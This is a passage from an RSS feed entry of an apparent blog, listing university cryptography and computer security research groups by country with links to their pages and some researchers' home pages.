<li class="left"><span style="color:gray;"><a class="sitelink" href="http://www.di.ens.fr/equipes/grecc/">GRECC             (Group de Recherche en Complexite et Cryptographie)</a> (Ecole Normale Superieure             in Paris) </span>
<ul>
<li class="left"><span style="color:gray;"><a class="sitelink" href="http://www.di.ens.fr/%7Ebaudron/">Oliver                 Baudron</a> :<a class="sitelink" href="http://www.di.ens.fr/%7Ebresson/">Emmanuel Bresson</a> :<a class="sitelink" href="http://www.di.ens.fr/%7Egranboul/index.html.en">Louis Granboulan</a> :<a class="sitelink" href="http://www.di.ens.fr/%7Epnguyen/">Phong Nguyen</a> :<a class="sitelink" href="http://www.di.ens.fr/%7Epointche/">David Pointcheval</a> :<a class="sitelink" href="http://www.di.ens.fr/%7Estern/">Jacques Stern</a> </span></li>
</ul>
</li>
<li class="left"><span style="color:gray;"><a class="sitelink" href="http://csysec.univ-pau.fr/">CSySEC</a> (Uni.             of Pau) </span></li>
<li class="left"><span style="color:gray;"><a class="sitelink" href="http://www.univ-tln.fr/%7Eharari/tcb_cadre.htm">Toulon Crypto Base</a> </span></li>
</ul>
</li>
<li class="left"><span style="color:gray;"><strong>Germany</strong> </span>
<ul>
<li class="left"><span style="color:gray;"><a class="sitelink" href="http://agn-www.informatik.uni-hamburg.de/">Applications             of Informatics in Arts and Science</a> (Hamburg) </span></li>
<li class="left"><span style="color:gray;"><a class="sitelink" href="http://www-krypt.cs.uni-sb.de/index_eng.html">Cryptography and Security</a> (Universit�t             des Saarlandes) </span></li>
<li class="left"><span style="color:gray;"><a class="sitelink" href="http://avalon.ira.uka.de/arbeitsgruppen/syssec/index.html">System Security</a> (University             of Karlsruhe) </span></li>
<li class="left"><span style="color:gray;"><a class="sitelink" href="http://www.mi.informatik.uni-frankfurt.de/">Mathematische             Informatik</a> (Frankfurt) </span></li>
<li class="left"><span style="color:gray;"><strong>Bochum</strong> </span>
<ul>
<li class="left"><span style="color:gray;"><a class="sitelink" href="http://www.crypto.ruhr-uni-bochum.de/">Communication                 Security (COSY)</a> (Bochum) </span>
<ul><span style="color:gray;">:<a class="sitelink" href="http://www.crypto.ruhr-uni-bochum.de/MitarbeiterInnen/paar_eng.html">Christof Paar</a> </span></ul>
</li>
<li class="left"><span style="color:gray;"><a class="sitelink" href="http://www.ruhr-uni-bochum.de/itsc/">Institute                 for IT-Security and Cryptology</a> (Bochum) </span></li>
</ul>
</li>
<li class="left"><span style="color:gray;"><strong>Darmstadt</strong> </span>
<ul>
<li class="left"><span style="color:gray;"><a class="sitelink" href="http://www.informatik.tu-darmstadt.de/TI/dream-english/homepage.en.htm">Cryptography                 and Computer Algebra</a> (Darmstadt) </span></li>
<li class="left"><span style="color:gray;"><a class="sitelink" href="http://www.informatik.tu-darmstadt.de/TI/Forschung/nfc.html">Number Field                 Cryptography</a> (Darmstadt) </span></li>
</ul>
</li>
</ul>
</li>
<li class="left"><span style="color:gray;"><strong>Greece</strong> </span>
<ul>
<li class="left"><span style="color:gray;"><a class="sitelink" href="http://secgroup.iccs.ntua.gr/">ICCS Security             Group</a> </span></li>
<li class="left"><span style="color:gray;"><a class="sitelink" href="http://www.math.aegean.gr/info-sec/">Joint             Research Group on Communication and Information Systems Security</a> (Uni of             Aegean) </span></li>
</ul>
</li>
<li class="left"><span style="color:gray;"><strong>Israel</strong> </span>
<ul>
<li class="left"><span style="color:gray;"><a class="sitelink" href="http://www.wisdom.weizmann.ac.il/%7Eoded/wis-cry.html">Weizmann</a> </span>
<ul>
<li class="left"><span style="color:gray;"><a class="sitelink" href="http://www.wisdom.weizmann.ac.il/%7Ealbi/">Alex                 Biryukov</a> :<a class="sitelink" href="http://www.wisdom.weizmann.ac.il/%7Efeige/">Uriel Feige</a> :<a class="sitelink" href="http://www.wisdom.weizmann.ac.il/%7Eoded/">Oded Goldreich</a> :<a class="sitelink" href="http://www.wisdom.weizmann.ac.il/%7Eshafi/">Shafi Goldwasser</a> :<a class="sitelink" href="http://www.wisdom.weizmann.ac.il/%7Enaor/">Moni Naor</a> :<a class="sitelink" href="http://www.wisdom.weizmann.ac.il/%7Eshamir/">Adi Shamir</a> </span></li>
</ul>
</li>
</ul>
</li>
<li class="left"><span style="color:gray;"><strong>Italy</strong> </span>
<ul>
<li class="left"><span style="color:gray;"><a class="sitelink" href="http://maga.di.unito.it/security/">University             of Torino</a> </span></li>
</ul>
</li>
<li class="left"><span style="color:gray;"><strong>Japan</strong> </span>
<ul>
<li class="left"><span style="color:gray;"><a class="sitelink" href="http://grampus.jaist.ac.jp:8080/">System             Control and Management Okamoto Lab.</a> </span></li>
<li class="left"><span style="color:gray;"><a class="sitelink" href="http://www.mlab.dnj.ynu.ac.jp/mlab/mlab.html">Matsumoto Laboratory</a> </span></li>
</ul>
</li>
<li class="left"><span style="color:gray;"><strong>Korea</strong> </span>
<ul>
<li class="left"><span style="color:gray;"><a class="sitelink" href="http://caislab.icu.ac.kr/">Cryptology &amp;             Information Security Laboratory</a> (ICU.AC.KR) </span></li>
<li class="left"><span style="color:gray;"><a class="sitelink" href="http://dosan.skku.ac.kr/">Information &amp;             Communications Security Laboratory</a> </span></li>
<li class="left"><span style="color:gray;"><a class="sitelink" href="http://com2mac.postech.ac.kr/">Com2MaC</a> (Pohang             University) </span></li>
<li class="left"><span style="color:gray;"><strong>See also</strong> </span>
<ul>
<li class="left"><span style="color:gray;"><a class="sitelink" href="http://dosan.skku.ac.kr/%7Esjkim/Kr-Cryptographer.html#CG">Korean Crypto Groups</a> (@KRyptoGate) </span></li>
</ul>
</li>
</ul>
</li>
<li class="left"><span style="color:gray;"><strong>Netherlands</strong> </span>
<ul>
<li class="left"><span style="color:gray;"><a class="sitelink" href="http://www.win.tue.nl/math/dw/">Discrete             Mathematics</a> (Eindhoven) </span>
<ul>
<li class="left"><span style="color:gray;"><a class="sitelink" href="http://www.win.tue.nl/%7Ehenkvt/codcrygr.html">Coding                 and Cryptography Group</a> (Eindhoven)<img src="http://www.tcs.hut.fi/%7Ehelger/gifs/cool.gif" alt="[Cool]" width="31" height="11" /> </span>
<ul>
<li class="left"><span style="color:gray;"><a class="sitelink" href="http://www.win.tue.nl/%7Eaeb/">Andries Brouwer</a> :Arjen Lenstra :<a class="sitelink" href="http://www.win.tue.nl/%7Eruudp/">Ruud Pellikan</a> :<a class="sitelink" href="http://www.win.tue.nl/%7Eberry/">Berry Schoenmakers</a> </span></li>
</ul>
</li>
</ul>
</li>
</ul>
</li>
<li class="left"><span style="color:gray;"><strong>Norway</strong> </span>
<ul>
<li class="left"><span style="color:gray;"><a class="sitelink" href="http://www.ii.uib.no/forskningsgrupper/kode/index-eng.shtml">Coding Theory and             Cryptography</a> (Bergen) </span></li>
</ul>
</li>
<li class="left"><span style="color:gray;"><strong>Russia</strong> </span>
<ul>
<li class="left"><span style="color:gray;"><a class="sitelink" href="http://www.ssl.stu.neva.ru/">SCZI</a> (Sankt-Petersburg) </span>
<ul>
<li class="left"><span style="color:gray;"><a class="sitelink" href="http://www.ssl.stu.neva.ru/ssl/research/crypto/index.htm">Research directions</a> (In                 Russian) </span></li>
</ul>
</li>
<li class="left"><span style="color:gray;"><a class="sitelink" href="http://www.math.spbu.ru/">Math department of             Sankth-Petersburg university</a> </span>
<ul>
<li class="left"><span style="color:gray;"><a class="sitelink" href="http://se.math.spbu.ru/Courses/Crypto/Crypto2001.html">Seminar on Cryptography</a> (In                 Russian) </span></li>
</ul>
</li>
</ul>
</li>
<li class="left"><span style="color:gray;"><strong>Spain</strong> </span>
<ul>
<li class="left"><span style="color:gray;"><a class="sitelink" href="http://www.etse.urv.es/recerca/crises/">CRISES</a> (Rovira i Virgili) </span></li>
<li class="left"><span style="color:gray;"><a class="sitelink" href="http://xtmatdis.uab.es/">Seguretat,             codificaci� i transport de la informaci�</a> (Universitats Aut�noma de             Barcelona) </span></li>
<li class="left"><span style="color:gray;"><a class="sitelink" href="http://www-mat.upc.es/grup_de_cripto/">Cryptography             Research group</a> (Universitat Polit�cnica de Catalunya) </span></li>
</ul>
</li>
<li class="left"><span style="color:gray;"><strong>Sweden</strong> </span>
<ul>
<li class="left"><span style="color:gray;"><a class="sitelink" href="http://www.it.lth.se/cryptology/">University             of Lund</a> </span>
<ul>
<li class="left"><span style="color:gray;"><a class="sitelink" href="http://www.it.lth.se/thomas/">Thomas                 Johansson</a> </span></li>
</ul>
</li>
</ul>
</li>
<li class="left"><span style="color:gray;"><strong>Switzerland</strong> </span>
<ul>
<li class="left"><span style="color:gray;"><a class="sitelink" href="http://www.crypto.ethz.ch/">Information             Security and Cryptography</a> (ETH Z�rich) </span></li>
<li class="left"><span style="color:gray;"><a class="sitelink" href="http://sscwww.epfl.ch/">Communication             Systems</a> (EPFL) </span></li>
<li class="left"><span style="color:gray;"><a class="sitelink" href="http://lasecwww.epfl.ch/">LASEC</a> (EPFL) </span></li>
</ul>
</li>
<li class="left"><span style="color:gray;"><strong>UK</strong> </span>
<ul>
<li class="left"><span style="color:gray;"><a class="sitelink" href="http://www.cl.cam.ac.uk/Research/Security/">Cambridge             University</a> </span></li>
<li class="left"><span style="color:gray;"><a class="sitelink" href="http://csrc.lse.ac.uk/">The LSE Computer             Security Research Centre</a> (London School of Economics and Political Science) </span></li>
<li class="left"><span style="color:gray;"><a class="sitelink" href="http://isg.rhbnc.ac.uk/">Information             Security Group</a> (Royal Holloway University of London) </span></li>
<li class="left"><span style="color:gray;"><a class="sitelink" href="http://www.cs.bris.ac.uk/Research/CryptographySecurity/">Cryptography and             Information Security Group</a> (Bristol) </span></li>
</ul>
<p><strong><span style="color:gray;">US</span></strong></p>
<ul>
<li><strong><span style="color:gray;"> <a class="sitelink" href="http://web.mit.edu/6.857/www/home.html">MIT</a></span></strong></li>
<li><strong><span style="color:gray;"> <a class="sitelink" href="http://www.deas.harvard.edu/courses/cs220r/">Harvard</a></span></strong></li>
</ul>
</li>
</ul>
<p><span style="color:gray;">The list is been taken by  <a class="sitelink" href="http://www.tcs.hut.fi/%7Ehelger/crypto/link/research_education/universities.html">Helger Lipmaa&#8217;s webpage</a> and there is another extremely big list of all Security related information located     at<a class="sitelink" href="http://andercheran.aiind.upv.es/toni/cripto/index_en.html"> University of     Valencia (Spain)</a><strong> </strong></span></p>
<br /><img alt="" border="0" src="http://feeds.wordpress.com/1.0/categories/cipherdotorgdotuk.wordpress.com/23/" /> <img alt="" border="0" src="http://feeds.wordpress.com/1.0/tags/cipherdotorgdotuk.wordpress.com/23/" /> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/cipherdotorgdotuk.wordpress.com/23/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/cipherdotorgdotuk.wordpress.com/23/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/cipherdotorgdotuk.wordpress.com/23/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/cipherdotorgdotuk.wordpress.com/23/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/cipherdotorgdotuk.wordpress.com/23/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/cipherdotorgdotuk.wordpress.com/23/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/cipherdotorgdotuk.wordpress.com/23/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/cipherdotorgdotuk.wordpress.com/23/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/cipherdotorgdotuk.wordpress.com/23/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/cipherdotorgdotuk.wordpress.com/23/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/cipherdotorgdotuk.wordpress.com/23/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/cipherdotorgdotuk.wordpress.com/23/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/cipherdotorgdotuk.wordpress.com/23/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/cipherdotorgdotuk.wordpress.com/23/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=cipher.org.uk&amp;blog=8616686&amp;post=23&amp;subd=cipherdotorgdotuk&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://cipher.org.uk/2001/06/28/computer-security-groups/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="" medium="image">
			<media:title type="html">EK</media:title>
		</media:content>

		<media:content url="http://www.tcs.hut.fi/%7Ehelger/gifs/cool.gif" medium="image">
			<media:title type="html">[Cool]</media:title>
		</media:content>
	</item>
	</channel>
</rss>
